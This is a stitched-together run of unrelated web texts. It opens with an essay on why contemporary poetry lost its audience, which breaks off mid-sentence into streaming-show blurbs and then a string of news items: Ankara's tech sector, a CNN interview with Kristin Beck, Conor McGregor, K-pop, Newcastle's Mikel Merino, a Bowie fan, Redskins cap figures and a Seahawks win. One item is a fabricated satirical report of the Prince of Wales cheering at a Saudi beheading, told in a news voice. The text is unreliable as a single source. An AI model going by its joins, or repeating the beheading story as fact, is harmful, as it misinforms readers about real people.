James Silken [a name I have made up] published his first book of poems, Stoned Jupiter, with the University Presses of Florida. His second book, The Parched Garden, will be published early next year by Black Bear Press. A chapbook, Apaches and Parsley, was brought out by Wainscotting Books in 1983. His poems and reviews have appeared in such journals as Poetry Northwest, New Letters, The Arizona Review, TriQuarterly, and Worcester Review. He has given readings at Iowa State University, the University of Michigan, Drake University, and Bread Loaf. Next summer he will be a fellow at the Oregon Center for the Creative Arts. A native of Tennessee, he now lives in Tempe, where he directs the writing program at Arizona State University.
Well, it’s a living.
In 1941 Delmore Schwartz, in an essay originally published in Kenyon Review and entitled “The Isolation of Modern Poetry,” wrote that “It is not a simple matter of the poet lacking an audience, for that is an effect, rather than a cause, of the character of modern poetry.” The character that Schwartz then had in mind was its difficulty (in the Henry James sense). In Partisan Review, in 1949, Schwartz added, “Anyone who wants to understand modern poetry can do so by working about half as hard as he must to learn a language, or acquire any new skill, or learn to play bridge well.” But in fact, with an occasional exception (the obscurity of much of the poetry of John Ashbery comes to mind), contemporary poetry has not grown more but less difficult, and the audience still isn’t there.
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If Delmore Schwartz blamed the obscurity of modern poetry on its difficulty, Randall Jarrell, in a lecture at Harvard called “The Obscurity of the Poet,” blamed the national culture. “The poet,” said Jarrell, “lives in a world whose newspapers and magazines and books and motion pictures and radio stations and television stations have destroyed, in a great many people, even the capacity for understanding real poetry, real art of any kind.” In more recent years, poets have taken this a step further to blame America for an anti-intellectual and anti-artistic strain in our national life. “Pushkin could count on railway workers to know his poems,” John Berryman told Eileen Simpson, his first wife. “Think of it! Who reads poetry in America?” Poetry, it is elsewhere claimed, is ill-taught in grammar and high schools. The neglect of poetry by major trade publishers is sometimes blamed. Capitalism generally comes in for its share of lumps, sometimes for encouraging supermarket bookselling techniques, sometimes for holding up the wrong models: What kind of country is it in which Lee Iacocca is better known than A.R. Ammons? Everything, in short, is blamed but the drinking water.
Some poets, attempting to swallow the hand that feeds them, even blame the university, arguing that, through the emergence of so many creative-writing programs, poets have created their own, largely inbred audience that simultaneously requires a great deal in the way of care and feeding and asks little of them, the poets, in the way of literary ambition. (“Within five years,” wrote Greg Kuzma, a poet and teacher of poetry, “there will be a creative-writing program available for anyone in America within safe driving distance of his home.”) Creative-writing programs, this argument runs, are not only producing more people who think of themselves as poets than this or any other country needs, but, through the encouraging, the somewhat therapeutic, atmosphere of the workshop, are generally lowering the high standard of work which is poetry’s only serious claim on anyone’s attention.
From a higher, more historical point of view, there are those who claim that the game was up for poetry with the advent of romanticism, which retained great themes for poetry but saw them through a filter of the self—whereas now, this argument holds, the great themes are gone and all that remains to poetry is a pallid subjectivity. “With the development of romantic theory in the 18th, 19th, and 20th centuries,” the eminent critic Yvor Winters wrote, “there has been an increasing tendency to suppress the rational in poetry and as far as it may be to isolate the emotional.” A grave mistake this, at least for those who tended to view poetry as a vehicle for truth and a repository as useful as any ever invented for ideas and insights. Christopher Clausen, author of an excellent little book entitled The Place of Poetry, Two Centuries of an Art in Crisis, underscores this point when he writes: “Since the rise of science to intellectual preeminence, poets have been less able either to show equal claim with scientists to clarify the problems Western civilization has (perhaps wrongly) seen as most important, or to incorporate and epitomize the conclusions of their rivals.”
Romanticism, science; even modernism itself has been put in the dock, for draining the joyousness out of poetry or, with the introduction of free verse, depriving poetry of the delights of meter and rhyme. Philip Larkin, for one, laid the blame for the broken connection between poets and readers on what he called “the aberration of modernism, that blighted all the arts.” He meant in particular the modernist tendency to deify the artistic vocation, to separate it from any obligation on the part of a writer to instruct or entertain an audience. In a three-page essay entitled “The Pleasure Principle,” Larkin wrote that “at bottom poetry, like all art, is inextricably bound up with giving pleasure, and if a poet loses his pleasure-seeking audience he has lost the only audience worth having, for which the dutiful mob that signs on every September is no substitute.”
To screw things yet one notch higher, there are those who believe that the decline of poetry in our day is an inevitable accompaniment of the disintegration of language generally. Wendell Berry, a poet and essayist, writes: “My impression is that we have seen, for perhaps 150 years, a gradual increase in language that is either meaningless or destructive of meaning. And I believe that this increasing unreliability of language parallels the increasing disintegration, over the same period, of persons and communities”—and, one gathers, by extension, of the power of poetry to recover much of value from the wreckage. At a slightly lower level of generality, others believe that the use poetry has traditionally made of rhythm and meter, of image and metaphor, to bring its readers to a condition of susceptibility to the emotion and thought it wishes to convey simply no longer finds an adequate response in any but a minuscule handful of trained readers. It is as if an old human skill, like following a trail or scenting game, had atrophied and died. Still others appeal to the mysteries of history. Might we not just be going through a bad patch in the history of poetry, as the country did between, say, 1870, when Emily Dickinson and Walt Whitman were still at the height of their powers, and 1910, when the modernist poets exploded upon the scene?
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No doubt romanticism, modernism, and other literary ideas and ideological movements have all had their effect in landing poetry in the position it finds itself in toward the close of the 20th century. Institutional, linguistic, historical factors have also doubtless exerted their influence in pushing poetry into the dark corner it now inhabits. Yet nearly every explanation of the situation of poetry in our time—attempting to account for its isolation, its seeming irrelevance to the general culture, the depressing sense that this once most elevated of human activities is now rather second-rate—seems to let the poets themselves off the hook. There may be something to Walt Whitman’s remark that “to have great poets, there must be great audiences too,” but, as Del-more Schwartz once rejoined, “To have great poetry it is necessary to have great poets....”
Not that anyone has been claiming that ours is a great age of poetry. Literary forms, or genres, after all, have their own, odd, often indecipherable rises and falls. English drama never again reached the heights attained in the Elizabethan Age. Who could have predicted the great burgeoning brilliance of the novel in mid-19th-century Russia? It may well be that sixty or seventy years ago, in our Eliots and Yeatses and Stevenses and Hardys and Frosts, we had our Donnes and Marvells and are now living through our Wallaces and Lovelaces. Another view, one straightforwardly formulated by Karl Shapiro, holds that there is precious little poetic talent around even at the best of times. As Shapiro notes:
I have for a long time come to the conclusion that at any one time the production of true works of art is even rarer than we think. I even devised a rule-of-thumb dogma which I call the B-S-K theory of poetry: Byron, Shelley, and Keats. According to this dogma, there can only be three poets at any one time. In periods of resplendent renaissance, the number increases slightly but not much, perhaps up to half a dozen. Around the points of these stars, there are a certain number of satellites, and so on. Actually, this is a historically realistic way of looking at art.
But even if there were any B’s or S’s or K’s about nowadays, it is not certain we would know who they were. Poetry is published in such plenitude that last year the Los Angeles Times announced it would no longer review books of poems, on the grounds that it was impossible to tell which were important. The same, by extension, applies to poets. There is nothing resembling a consensus on who might be the important poets of our day. The most lauded must be Robert Penn Warren, but one does not hear him often spoken of, or see him written about, as the kind of poet whose work is central to the lives of his readers. Richard Wilbur, the past poet laureate, is everywhere taken for eminent, and everyone for whom poetry matters reveres him for his craftsmanship, yet Wilbur does not seem to stir passionate advocacy in his readers, except when held up as a model of the literary decorum that has been lost to poetry in its confessional, sexier, Visigothic aspects. Seamus Heaney, the Irish poet who currently teaches at Harvard, is generally written about as if he were a major figure, yet his poetry, too, has failed to break out of the tight, claustral little circle of professionals. Doubtless the most famous poet in America is Allen Ginsberg, but poetry isn’t really what he is famous for: politics and homosexuality and a talent for the outrageous and a small genius for publicity are the four cornerstones on which his fame rests. John Ashbery is also publicly honored and written about with critical reverence; yet, though he is not himself an academic, his poetry—about which he has said, “Poetry does not have subject matter because it is the subject. We are the subject matter of poetry, not vice versa”—is perfect for academic treatment, being allusive, desultory, and nicely self-deconstructive, which also means that it is most unlikely to hold any interest outside the academy.
Other names of equal weight are on the scene. Of the senior generation, there are Stanley Kunitz, Karl Shapiro, David Ignatow, and (in England) Stephen Spender. Of the generation of poets now in or almost in its sixties, there are Howard Nemerov, James Merrill, John Hollander, Anthony Hecht, Donald Davie, Hayden Carruth, Donald Hall, W.S. Merwin, Galway Kinnell, Richard Howard, Mona Van Duyn, Philip Levine, Maxine Kumin, Derek Walcott, Adrienne Rich, William Meredith. “When I find myself among those who don’t know my name,” said Virgil Thomson, “I know I’m in the real world.” But the poets mentioned in this paragraph, though large names in the small world in which they operate, are again for the most part unknown outside universities or the pages of Poetry, American Poetry Review, and Parnassus.
I not long ago had occasion to hear two poets read and talk about their craft. Both were men, both in their thirties, both had regular teaching jobs at large universities, both had published two books and had their share of grants and awards. One of the two was a Hawaiian of Japanese ancestry, the other was middle-class Jewish. Both were zealous about poetry, which they took to be insufficiently appreciated in an essentially philistine country. The first poet viewed himself as a spokesman for his people, the truth of whose past he saw it as his task to keep alive in his own poetry. The second poet did not announce himself as a spokesman for the Jews, but he came across in the style one thinks of as tough but sensitive, the champion of a beleaguered art. His father, he disclosed, is a salesman, and it had been no easy thing to get him to understand his son’s need to be a poet. (A salesman, evidently, can die deaths unknown even to Arthur Miller.) In their discussions after they read, both poets were full of quotations from Pound and Eliot and Kant and Rilke, giving off a strong whiff of the classroom.
As for the works themselves, the first read a lengthy poem about a visit to a strip of land in Hawaii that had once been the site of the cemetery where his grandfather was buried but which had since been plowed up by a developer. His was a poem, in short, about victimization, with a bit of anti-capitalism thrown in at no extra charge. The second read a poem entitled “Proustian” about the brief happy moments when, as a child, his grandmother fed him cookies and milk and he had no knowledge of time, and another poem about a visit to his former high-school football coach, who had always preached the powers of the body, but was now sadly powerless in a body racked by cancer. A poem, the New Critics held, cannot be paraphrased, but in paraphrasing—summarizing, really—these poems I do not think I am doing them a grave injustice. I bring them up only because they seemed so characteristic, so much like a great deal of contemporary poetry: slightly political, heavily preening, and not distinguished enough in language or subtlety of thought to be memorable.
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Is it all up with poetry, then? As early as the 1940’s, Edmund Wilson wrote an essay carrying the questioning title, “Is Verse a Dying Technique?” Wilson’s answer was, essentially, yes, it is. Prose, in Wilson’s view, had overwhelmed poetry. By Flaubert’s time, he notes, “the Dantes present their vision in terms of prose dramas or fiction rather than epics in verse.” Wilson mentions Flaubert because he is the first novelist to lavish the kind of care on his prose that poets did on their verse; James Joyce would be another. Yeats was the last great poet to write convincingly in iambic pentameters, which, Wilson noted, “no longer [have] any relation whatever to the tempo and language of our lives.” Antiquated forms can only render an antiquated point of view, and “you cannot deal with contemporary events in an idiom which was already growing trite in Tennyson’s and Arnold’s day....”
Wilson does allow that our lyric poets may be compared with any who have ever written, but he adds: “We have had no imaginations of the stature of Shakespeare or Dante who have done their major work in verse.” Edgar Allan Poe had anticipated much of this a century earlier. In “The Poetic Principle,” his essay of 1848, Poe wrote: “If, at any time, any very long poems were popular in reality—which I doubt—it is at least clear that no very long poem will ever be popular again.” We shall continue to read Homer, Dante, Shakespeare, Milton, perhaps Byron and Browning, to cherish and derive great pleasure from them, but with the understanding that what they did—specifically telling magnificent stories in poetic form—can never be done again.
Not that writers haven’t tried. Philip Toynbee published a novel in verse in the 1960’s. Clive James has written lengthy travesties of contemporary London literary life in heroic couplets. The most recent effort, a 307-page novel entitled The Golden Gate, composed in a Pushkinian rhyme scheme by a young writer named Vikram Seth, appeared in 1986 to much acclaim. But it was acclaim of the odd kind that Samuel Johnson felt was owed to women preachers and dogs walking on their hind legs: “You are surprised to find it done at all.” So swept away were readers by the sheer freakiness of Vikram Seth’s accomplishment that they overlooked its rather clichéed Berkeleyan (California not Bishop) message about making love not war.
Poets have not altogether given up on telling stories. Some of Robert Frost’s best poems are narratives. Although fragmented and disjunctive, even “The Waste Land” tells a story; so, too, in a very different way, does Wallace Stevens’s “Sunday Morning.” In Life Studies (1957), Robert Lowell conveyed portions of his autobiography in verse. Among contemporary poets, Herbert Morris, in finely controlled blank verse, has written dramatic monologues and accounts of his childhood that are essentially narrative in character and quite successfully so. But for the vast most part contemporary poetry has gone off in the direction of the lyric. In practice, this means a shortish poem, usually fewer than forty lines, generally describing an incident or event or phenomenon of nature or work of art or relationship or emotion, in more or less distinguished language, the description often, though not always, yielding a slightly oblique insight.
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Samuel Johnson, who said of Paradise Lost that “None ever wished it longer than it is,” said in the same essay on Milton that “All that short compositions can commonly attain is neatness and elegance.” There are various reasons why so many contemporary poems are, in Johnson’s phrase, “short compositions,” and not the least among them is that most magazines do not provide space for long poems. They choose not to do so on the assumption, probably correct, that few even quite serious readers wish to read a poem that runs ten or more pages. (Let us not speak of the talent that it takes to sustain an extended poetic performance.) But in taking up the lyric as its chief form, contemporary poetry has seriously delimited itself. It thereby gives away much that has always made literature an activity of primary significance; it gives away the power to tell stories, to report on how people live and have lived, to struggle for those larger truths about life the discovery of which is the final justification for reading. Thus has poetry in our day become, in the words of the intelligent young poet and critic Brad Leithauser, “a sadly peripheral art |
haunted by their pasts -- and a much more sinister force.
No Good Nick
A family finds their lives turned upside down when a young, street-smart grifter shows up on their doorstep, claiming to be a distant relative.
Over the Moon
In this animated musical, a girl builds a rocket ship and blasts off, hoping to meet a mythical moon goddess. Legendary animator Glen Keane directs.
TRESE
When the cops are stumped, Alexandra Trese is there to protect Manila from threats of the supernatural kind. Based on the award-winning Filipino comic.
Trash Truck
Six-year-old Hank and his best buddy -- a honking, snorting trash truck -- go on lots of fun adventures, from learning to fly to visiting the dentist.High-tech economy grows in Turkish capital
ANKARA – Anadolu Agency
A high-tech economy is growing in Turkey’s capital, according to Nurettin Özdebir, the head of Ankara’s Chamber of Industry.“Ankara is becoming a center for high-technology, with local innovation exceeding that of Istanbul,” Özdebir told Anadolu Agency.The quality of Ankara’s exports has become very high, as the level of value-added content in exports from the capital is more than 30 percent higher than that of the Turkish average, and more than Istanbul contributes, Özdebir explained.“What’s more, industries with a high level of technological innovation are expanding in Ankara. Defense technology is the largest sector, and it is expanding very rapidly.“But the level of research culture in Ankara has become very high, thanks in part to the concentration of defense industry innovation. It has spread to areas like information technology, and particularly software, which are also growing fast,” Özdebir said.Özdebir pointed out that Ankara has six technoparks. The oldest and largest is Technopolis in Middle East Technical University [ODTÜ], established in 2001, which houses more than 250 companies.There were six Ankara-based companies included among the Deloitte Technology Fast50 companies in 2014.“In our technoparks, cutting-edge innovation is taking place. For example, Ankara software companies are leaders in the development of embedded software - not just in Turkey, but abroad. They are taking a large share of export markets,” Özdebir said.Ankara produces more patents than any other city in Turkey, thanks to the high level of research at its technoparks, Özdebir said.“And there is a nanotechnology cluster centered around the Ankara technopark which is among the best in the world,” he added.However, the research culture of Ankara should spread further, to the other cities of Anatolia, Özdebir said, adding: “We need to increase our human capacity so that the province and the region can benefit from it.”Ankara is also taking advantage of the diversification of the defense industry, according to Özdebir. Some of the Ankara defense companies are moving into related areas like electronics and high-speed trains.“This will increase investment in Ankara, bringing in new companies and new capital,” he said.Ankara is building a new industry zone dedicated to aviation and space technology, Özdebir added.Where Ankara has been less successful, Özdebir admitted, is in attracting foreign direct investment.“The lure of Istanbul is great in this area among foreign companies. What’s more, the construction industry attracts more investment than high-tech, because the time for a return on investment is shorter,” he said.However, this is changing as interest in Ankara’s high-tech sector grows, according to Özdebir.“As the quality of our innovation and technology input becomes better known, increasing investment will follow,” he said.(CNN) A transgender Navy SEAL who was the focus of a CNN documentary, "Lady Valor," says President Trump's tweets were a disrespectful way to announce new policy and that the administration is sending unclear and ominous signals about its approach to liberty itself.
Kristin Beck served as a Navy SEAL for more than two decades. Then named Chris Beck, she deployed in Iraq, Afghanistan and Africa and earned a Bronze Star and Purple Heart. She came out as transgender after leaving the military in 2011.
In the last months of President Obama's administration, the Defense Department initially approved a policy, still under review, that would allow transgender Americans to serve openly in the US military. On Wednesday, after President Trump's announcement of a reversal of that policy on Twitter -- stating that "the United States Government will not accept or allow Transgender individuals to serve in any capacity in the U.S. Military" -- Beck spoke with CNN Opinion's Jane Carr about what this means for transgender Americans and what comes next for those currently serving or who aspire to serve.
This interview has been edited lightly for clarity and flow.
CNN: As someone who served, what was your first reaction to the news of the President's tweet? What were your first thoughts?
Kristin Beck: The first thought was, why would you tweet that? Why not have a press conference? There are a hundred different ways to make an announcement that are better than a tweet. It blindsided millions of people. It's disrespectful. He needs to figure something else out as far as how he communicates with the public. As for the message itself, you (the Defense Department and by extension, the commander in chief) gave all the people in uniform a safe space to come out and be free and live as we say Americans do, free and brave, and now you're going to bomb that safe area? It's disturbing.
So now you're going to end up with thousands and thousands of people who are now going to have their contracts broken -- and I think we can definitely consult some contract lawyers on this, talk about expensive! This is going to cause repercussions that I'm not sure they (in the Trump administration) have really taken a close look at.
You have to consider also, retention of all the people in uniform and recruitment of all the people who are coming in. Even if you clarify that this only affects recruitment, and we can work on that at a later time, you still have the issue of retention of people who are already serving. You can say, "You guys are good. You're still safe. You're gonna stay safe." Or, are you going to bomb us, too?
Those are the questions. There are a lot of questions. The President raises way, way more questions than he gives answers.
CNN: What would you say to transgender men and women currently serving in the military or the ones out there who may aspire to serve?
Beck: I would say to those people who are transgender, out, and serving to just let the dust settle a little bit. This (the tweet) was an improper way for (this news) to be released, and we're going to figure this out. And then we're going to work through this. We're going to work through it whether he (President Trump) comes out and says, "You're in a safe zone, it's OK," or he starts kicking people out. We're going to consult a bunch of lawyers and start having a bunch of really tough talks.
I'd rather not have to go down this long, difficult road of broken contracts and broken promises.
In one word, what would you say America is? For me personally, I would say that one word is liberty. And with that one tweet, he's taken away my liberty and the liberty of a lot of other people. He's taken away from thousands and thousands of people the right to personal liberty. That's not the American way.
CNN: If you could speak to the President right now or in the coming days, what would you say?
Beck: I'd say his famous line: "You're fired." As the American people, we can say that (to all our elected officials). And in 2018, we can put out in a big loud voice, "You're fired." By how you vote. And again in 2020, I will say again, "You're fired" by how I vote and how all of us vote. If he continues to do this to people -- you know, I'm a human being. I deserve dignity and respect. I'm an American. I deserve freedom, and a life of happiness and liberty. And if you, as the President, continue down this road of stripping and dismantling freedom -- you know, he's doing this through so many other ways, he's doing it on immigration, too -- then, "You're fired." And we do that through the polls. And we do that through grass-roots lobbying. We're going to make a lot of noise.
He's turned his back on a lot of Americans. He's turned his back on a lot of veterans. And that's just not right. The only thing I can say is: "You're fired."
Life, liberty, and the pursuit of happiness. Whatever race you are, whatever religion, your gender, anything -- we as Americans need to join together and understand liberty, understand it well, and start fighting for it.
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I fight for every religion. I fight for every color. Every race, every everything. And if he's going to pick and choose, that's a wrong thing. That's not what we believe in.Conor McGregor may have put his troubles with the Nevada State Athletic Commission (NSAC) behind him, reducing his $75,000 bottle-throwing fine to $25,000, but the Irishman could be facing legal action from a UK-based luxury car hire company after he was pictured standing on one of their Rolls-Royce vehicles.
Liverpool we run your entire city A post shared by Conor McGregor Official (@thenotoriousmma) on Apr 11, 2017 at 1:41am PDT
The Liverpool Echo reports that Platinum Executive Travel (PET) are investigating the matter and deciding on whether or not to take legal against 'The Notorious'. The car is believed to be worth £240,000 and PET are assessing the Rolls-Royce for any damage.
McGregor was partying in Liverpool for last weekend's Grand National festival, and a representative from PET said that the UFC lightweight champion had no right to treat the car as if it were his own property.
“He is stood on the car acting like it is his own. It is not his own.”
The issue came to light when 'Lord' Aleem Iqbal responded to McGregor's Instagram post: “When you own one Conor you can stand on it like Floyd until then you can lose your deposit for standing on mine."
Iqbal's father, Saleem, is reported to be the owner of the car hire firm.
PET is outraged by McGregor's disrespectful behavior and have stated that the mixed martial arts star will not be booking any of their luxury vehicles in the future.FaChords Chords Recognition Game
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For feedback, requests or questions.RIYADH: Crowds at a public execution in Saudi Arabia were given an extra something to cheer about yesterday, with a visit from none other than Great Britain’s Prince of Wales.
The British royal, who is on an official tour of the Kingdom, was guest of honour at a beheading in central Riyadh, delighting the enthralled audience by posing for photos and displaying his trademark wit.
“So this poor fellow’s for the chop is he?” the Prince was heard asking, as the weeping victim – a 24-year-old Bangladeshi accused of adultery and witchcraft – was paraded before the crowd.
“He seemed genuinely interested in the ins and outs of public executions,” said Chief Executioner Walid Al-Rabi. “We even let him swing the sword a couple of times. He’s a natural!”
“You didn’t really have to try very hard to talk to him, he’s very polite,” said Fatima Gergash, who had brought her four children to watch the state-sponsored open-air killing.
“He gave a big roar when the sword came down for the first time. We all thought he was utterly charming,” she added, as workers loaded the headless corpse into a truck.Dara recently uploaded a photo taken after 2NE1′s last world tour show AON: All Or Nothing, reminiscing about the times when she had burst into tears.
Uploaded on November 6th via her Instagram, she writes, “After the show when I came down from the stage, the staff who worked so hard told me I did a great job. Because I had some mixed feelings, I cried without realizing how I looked.. But!! No matter how scary my dreadlocked hair was, no one from HI-TECH comforted me..T.T Later I will come back with the innocent long hair! We will see HI-TECH T.T ㅋㅋㅋ”
In the photo, Dara is seen bursting into tears as she walks down the hall while giving high-fives to her dance group, HI-TECH.
Last October, 2NE1 held the last concert of their 2014 world tour AON: All Or Nothing in Macau, after visiting Korea, Hong Kong, China, Taiwan, Philippines, Malaysia, Indonesia, Singapore, Japan, and Thailand.
[instagram://vDj6aTiSzq]Mikel Merino says he is "honoured" to be wearing the famous black-and white jersey of Newcastle
Spain midfielder Mikel Merino considers himself "blessed" to be playing for Newcastle United.
The Premier League side caused a few raised eyebrows when managing to capture Merino on a season-long loan from Borussia Dortmund in August.
The exciting Spain U21 international had played a key role in helping his country reach the final of last summer's European Championships in Poland.
However, after only featuring nine times for the Bundesliga club last season, the 21-year-old opted to spend this campaign in the north east, a decision he does not regret.
"Little by little I am understanding everything, how English people play football, I am happy here and I think this is going to be a good year," he said in an exclusive interview with Sky Sports.
Mikel Merino joined the Magpies this season on loan from Bourssia Dortmund
"The Premier League is a really strong league, very physical, all the players are ready to fight for every ball and maybe it is the strongest league in the world.
"It has a huge base and strength and I have to learn about it, when I can play, when I cannot. This is just about minutes and game time and I think I will improve."
Already, though, Merino is proving to be a huge favourite with the Newcastle fans, some of whom have even be heard joking he is too good to be playing for them.
Alan McInally praises midfielder Mikel Merino after his performance helped Newcastle to a 3-0 win over West Ham Alan McInally praises midfielder Mikel Merino after his performance helped Newcastle to a 3-0 win over West Ham
"I am so honoured about the compliments they are saying to me," he said. "I am really happy here and blessed to play at St James' Park with this crowd.
"Always when you go to the stadium, to see all the crowd shouting and screaming is crazy. And I am really happy that they said that about me and that means I am working hard and doing the right things and I am really happy."
Merino should head into Sunday afternoon's encounter at Swansea City, a clash you can see live on Sky Sports Premier League, full of confidence after a brilliant goal against Italy U21s in midweek.
The Spaniard nutmegged an Azzurri defender on his way to scoring, although he warns Newcastle's supporters not to expect such trickery from him every week.
"These things are good when you do it, but are dangerous as then everyone expects it always," joked Merino.
"But that is the way I play football and at that moment, I thought it was the best decision and was good for me and the team.
"Maybe next time it goes bad, but I expect to keep doing things good, it may not always be nutmegs, but good passes."
One player Merino may come face to face with in midfield at the Liberty this weekend is Renato Sanches, another eye-catching loanee from the Bundesliga and someone he crossed paths with at the Euros in June.
"I played against him for the U21s in the Euro Cup against Portugal and I know he is a good player already with Swansea," he said.
"He is a young player who has been having a tough year with Bayern Munich because of the low minutes played. But for Swansea he is a good player and he will do well and I know he has a great future."
After beginning Newcastle's Premier League opener at home to Tottenham Hotspur on the substitutes' bench, manager Rafa Benitez - who may miss the trip to South Wales with injury - then handed Merino a first-ever start the following week at Huddersfield Town.
The Magpies, however, suffered a disappointing 1-0 defeat at the John Smith's Stadium, with Merino's role in the Terriers' winner coming in for criticism from Sky Sports pundit Graeme Souness.
2:58 Newcastle 3-0 West Ham Newcastle 3-0 West Ham
The player, though, has brushed off the former Newcastle manager's words, preferring instead to simply concentrate on getting better.
"I do not need anything to motivate me," Merino said. "I am always motivated and I know I have to train 100 per cent every day to improve.
"I heard something about some words he said, but I do not give it importance, just focus on myself and improve. I know that sometimes people will criticise you and other times they will say you are so good.
Marc Bartra after the operation to his right wrist
"I do not pay attention to these things because I know that the football is up and down. You never know, one day you are very good and the next day you are not good. So I focus on myself and improve every day."
Watch Newcastle's game against Swansea on Sky Sports Premier League and Main Event from 3.30pm on Sunday, while watch the full interview with Mikel Merino on Soccer Saturday from noon on Sky Sports NewsOver the past few months, a 5′ 3″ pink bunny has been following David Bowie around, to the delight of the world’s press. The story has been reported (usually rife with errors) in news outlets in London, San Francisco, New York and other locals.
Stories almost always refer to the bunny as “him” and often imply that “he” is stalking the singer. In fact the bunny in question is a member of davidbowie.com named Isabelle_Guns. Not only that, but Bowie is well aware of this and knows who she is and that she’s not a stalker. In fact, at a January concert in Vancouver, Bowie asked for the bunny’s name and repeatedly addressed her during the show, even swapping out the word “woman” in a song, singing instead: “I’ve been waiting for a bunny to save my life.”
Additionally, most of these “press” reports mention that the bunny was on the same flight as Bowie and the band from New York (even quoting Bowie to that effect) when in fact, the flight was within Canada. Want some proof no one feels threatened by Isabelle? Dig the picture on this page of “The Bunny” with 4 of Bowie’s band members after said flight.
This is just another example of the stupid feeding frenzy the press engages in from time to time, trying to make a story out of nothing.
Photo � Isabelle_Guns. Left to Right: Earl Slick, Sterling Campbell, The Big Pink Bunny, Mike Garson and Gail Ann Dorsey.
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PocketWhen you take a look at the Redskins’ salary-cap breakdown defensively, it becomes clear – if it wasn’t already. They’re spending a lot more on their front seven, compared to the NFL average, than the back four. That means they’d best hope that an improved pass rush compensates for what they couldn’t add in the secondary.
For the record, Washington has approximately $2.8 million of salary-cap space remaining, according to ESPN Stats & Information.
Anyway, here’s a defensive breakdown by position (and click here for the offensive breakdown) with numbers courtesy of the ESPN Stats & Information gang:
Defensive line
Number on roster: 11
Total percentage of cap space: 20.57
Total cap value: $26,516,642
NFL average: $21,632,204
Biggest cap hit: Barry Cofield ($7,667,500).
Underpaid: Tough to say anyone is here, though if Jason Hatcher produces, then his $3.75 million cap hit will be a huge bargain. Jarvis Jenkins has a $1.5 million cap hit, which is below average for an NFL defensive lineman. Chris Baker will have a higher cap figure this season ($2 million). But I wrestle with calling Jenkins underpaid; I’d like to see more plays.
Looking to the future: Jenkins and Chris Neild are free agents after this season. But if Baker and/or Clifton Geathers show they can be more than part-time players then it gives the Redskins option should they let Jenkins walk. Stephen Bowen has a $7.02 million cap hit this season and it jumps by another million in 2015. I can’t imagine he plays at those numbers, not coming off microfracture surgery. But if he does play at that figure this season, the Redskins – if they want – could release him next offseason and get a $5.5 million cap savings. Multiple people in the organization have said Bowen remains in the plans for 2014.
Linebacker
Number on roster: 12
Total percentage of cap space: 18.5
Total cap value: $23,901,881
NFL average: $15,201,455
Biggest cap hit: Brian Orakpo ($11,455,000)
Underpaid: Ryan Kerrigan will count $2.8 million against the cap, a much lower sum than he’ll soon receive. If Akeem Jordan wins the starting inside linebacker job next to Perry Riley, then you could consider him underpaid as he’ll only count $635,000 against the cap and also would be a big help on special teams.
Looking to the future: Kerrigan is in the last year of his rookie contract, but the Redskins have until May 3 to decide whether to extend it by one year (at an average fourth through 25th highest-paid players at his position). Jordan, Rob Jackson and Darryl Sharpton all signed one-year deals this offseason. If the Redskins don't draft an inside linebacker, they have to hope Keenan Robinson stays healthy and shows why teammates have praised his talent since his arrival.
Cornerback
Number on roster: 7
Total percentage of cap space: 6.1
Total cap value: $7,873,638
NFL average: $12,316,626
Biggest cap hit: Tracy Porter ($2,800,000)
Underpaid: DeAngelo Hall is coming off his best season in Washington and will count only $2.1 million against the cap – 55 corners will occupy more cap space.
Looking to the future: E.J. Biggers is the only corner who will be a free agent after this season. But it wouldn’t be surprising to see them draft someone else, in case Hall’s play slips that much or Porter doesn’t help or just to add depth. Richard Crawford still has to prove his knee is sound and that he’ll continue improving. Same with Chase Minnifield.
Safety
Number on roster: 7
Total percentage of cap space: 2.91
Total cap value: $3,746,719
NFL average: $8,237,006
Biggest cap hit: Brandon Meriweather ($1 million)
Underpaid: No one here is underpaid, though if Ryan Clark can coax out another good year and help groom some young safeties, then his $635,000 cap hit will qualify. But they also have to have young safeties worth grooming.
Looking to the future: Meriweather and Clark have one-year deals, which means the Redskins could well be in the same position next offseason in looking for starting safeties. Of course, they could still draft one (I would) and hope that between the rookie and the two young holdovers from last year, Bacarri Rambo and Phillip Thomas, that they’ll find one starter and then only need to find one more. Thomas must prove that he’s not only healthy but can move as he did before the Lisfranc injury. Rambo has to earn a job this year. Neither holdover is a given to be a starter – in 2014 or beyond.GLENDALE, Ariz. — The Seahawks’ 2015 season has been far from perfect. But to ring in 2016, they let everybody know just how hard it will be to dethrone them as two-time reigning NFC champions.
Don’t tell them Sunday's 36-6 road rout of the Cardinals — the new NFC West champs — shouldn’t mean as much because the game ended up having no meaning to Arizona. Still not at their healthiest, the Seahawks used this game to show they can still dominate a top conference opponent in all three phases.
"It's just us playing our style of football," cornerback Richard Sherman said. "I think people can sometimes forget who we are. We let a few penalties, weird calls or miscues change their perception. Then we come back and remind them."
MORE: NFL playoff picture, seeding | PHOTOS: Best of Week 17
Russell Wilson had another performance (19 of 28, 197 yards, three touchdowns) in line with the exceptional, efficient play he’s shown in the second half of the season. While still waiting for Marshawn Lynch to return, they got some of the Beast Mode they've longed from Christine Michael — his first 100-yard outing — in the running game.
That balanced offensive explosion came with their two best offensive linemen, left tackle Russell Okung and right guard J.R. Sweezy, not playing against a Cardinals front that swarmed and pounded the Packers last week.
Defensively, with safety Kam Chancellor still on the shelf, Seattle was able to cool off Arizona's running game and lower the Legion of Boom on Carson Palmer. The energy carried to special teams, where Tyler Lockett couldn’t be slowed on punt returns, and Steven Hauschka got back to being money on field goal attempts.
Sunday's win felt like another Seahawks blowout over a playoff-bound NFC team, the 38-7 drubbing of the Vikings in Week 13 — a far cry from early in the season, when Seattle blew close games late against Green Bay, Carolina and this Arizona team.
Just as important, the big wins came on the road, where the Seahawks will live as a wild-card team trying to make a third straight Super Bowl, this time without the almost-unbeatable backdrop of The 12th Man.
The Seahawks will travel a long way — again to Minnesota — to start the playoffs. But at this point, that matchup looks like a stepping stone to the divisional round, rather than a real obstacle.
Seattle has its swagger back, just as Wilson has his groove back. The Packers, Panthers and Cardinals knew they were fortunate once not to face the Seahawks’ full wrath at less than full strength. They also know it will be much harder to get the job done again.
MORE: Lynch expected back for Super Bowl run
The Seahawks have a built-in advantage with experience. Other than Wilson, Rodgers is the only NFC quarterback with multiple playoff wins to his credit, and the only the Packers can say they have smelled the finish line.
Seattle is used to being the bully. Now it has seen the rest of the NFC's best fight back, allowing the hunted to become the hunters again. Really, since the Seahawks started 2-4, Sherman has seen them as grinders.
"That's the heart of a champion," Sherman said. "You have your peaks, and you have your valleys. They didn't destroy us. Guys just continue to battle.
